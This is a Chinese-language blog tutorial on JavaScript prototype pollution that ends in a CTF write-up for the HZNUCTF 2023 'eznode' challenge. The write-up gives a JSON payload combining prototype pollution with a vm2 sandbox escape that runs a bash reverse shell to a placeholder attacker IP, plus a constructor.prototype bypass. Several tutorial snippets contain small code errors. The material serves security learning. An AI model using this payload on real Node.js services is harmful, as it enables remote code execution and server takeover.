本文最后更新于 2026年4月11日 下午
开篇
首先要知道JS的几种创建的方法和格式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| var a = {name:'name',age:19};
function a(){ this.name = 'name'; this.age = 19; } a.prototype.name = 'fame'; b = new a(); console.log(web.name);
var a = new Object(); a.name = 'name'; a.age = 19;
|
万物皆对象
在js中所有的东西都可看为对象。
而在js中每一个对象都会有一个**proto**的属性。
proto
对象可以通过__proto__来找到其自己的父类。
而对于构造函数也有一个prototype与之相对应。
prototype
构造函数.prototype也是一个对象,为构造函数的原型对象。
就像这样:
1 2 3 4 5 6 7 8 9 10 11
| function a(){ this.name= "zhangsan"; this.age = 20; }
b=new a(); if(b.proto=a.prototype){ console.log("true"); }else{ console.log("false"); }
|
原型链的原理
1 2 3 4
| var a=1; console.log=(a.__proto__); console.log=(a.__proto__.__proto__); console.log=(a.__proto__.__proto__.__proto__);
|
上面的var上层为{},再上为Object,再上就是NULL。NULL为链的的末端。
继承机制
对于js中类的继承机制为
1 2 3 4 5 6 7 8 9 10 11 12
| function a(){ this.name= "zhangsan"; this.age = 20; }
function b(){ this.name = "zhangsan"; } b.prototype=new a();
c=new b(); console.log(`name:${c.name},age:${c.age}`);
|
最后回显“name:zhangsan,age:20”
漏洞思路
先看一个经典的递归漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
let o1 = {} let o2 = JSON.parse('输入的内容') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
|
如果首先模仿正常的服务器输入{“a”:”1”,”b”:”2”}
那就会正常回显a和b的内容,但是此时o3并没有被赋值,所以就会出现undefine的情况

此时构造原型链污染语句就会得到
1 2 3 4 5 6
| { "a":1, "__proto__"{ "b":2, } }
|
就会污染o3的参数,并回显
就会发现被污染了
那么原型污染漏洞是如何产生的?
当JavaScript函数递归地将包含用户可控属性的对象合并到现有对象时,通常会出现原型污染漏洞。这可以允许攻击者注入带有类似__proto__的键的属性,以及任意嵌套的属性。
由于__proto__在JavaScript上下文中的特殊含义,合并操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。因此,攻击者可以用包含恶意值的属性污染原型,这些属性随后可能被应用程序以危险的方式使用。
知道原理后就可以开始实战了
HZNUCTF 2023 final]eznode
首先扫目录搜出app.js

然后查看代码关键漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| const express = require('express'); const app = express(); const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } }
const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
app.get('/', function (req, res) { res.send("POST some json shit to /. no source code and try to find source code"); });
app.post('/', function (req, res) { try { console.log(req.body) var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.shit) { backdoor() } res.send("post shit ok") }catch(e){ res.send("is it shit ?") console.log(e) } })
app.listen(3000, function () { console.log('start listening on port 3000'); });
|
得知可以污染参数shit

重点关注后门参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| const backdoor = function () { try { new VM().run({}.shellcode); } catch (e) { console.log(e); } } 和 const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
|
然后可以发现是一个vm2沙箱逃逸的CVE-2026-22709:https://xz.aliyun.com/news/91455
发现有问题代码 1:globalPromise.prototype.then 未清理回调
所以构造payload
1 2 3 4 5 6
| { "shit": 1, "__proto__": { "shellcode": "const error = new Error();error.name = Symbol();const f = async () => error.stack;const promise = f();promise.catch(e => {const Error = e.constructor;const Function = Error.constructor;const f = new Function(\"process.mainModule.require('child_process').execSync('bash -c \\\"bash -i >& /dev/tcp/你的IP/端口 0>&1\\\"')\");f();});" } }
|
拿到shell后就可以cat flag了
后记
一般现代的proto参数都被禁了,所以一般可用的最简单的poc就是
1
| {"constructor": {"prototype": {你的payload}}}
|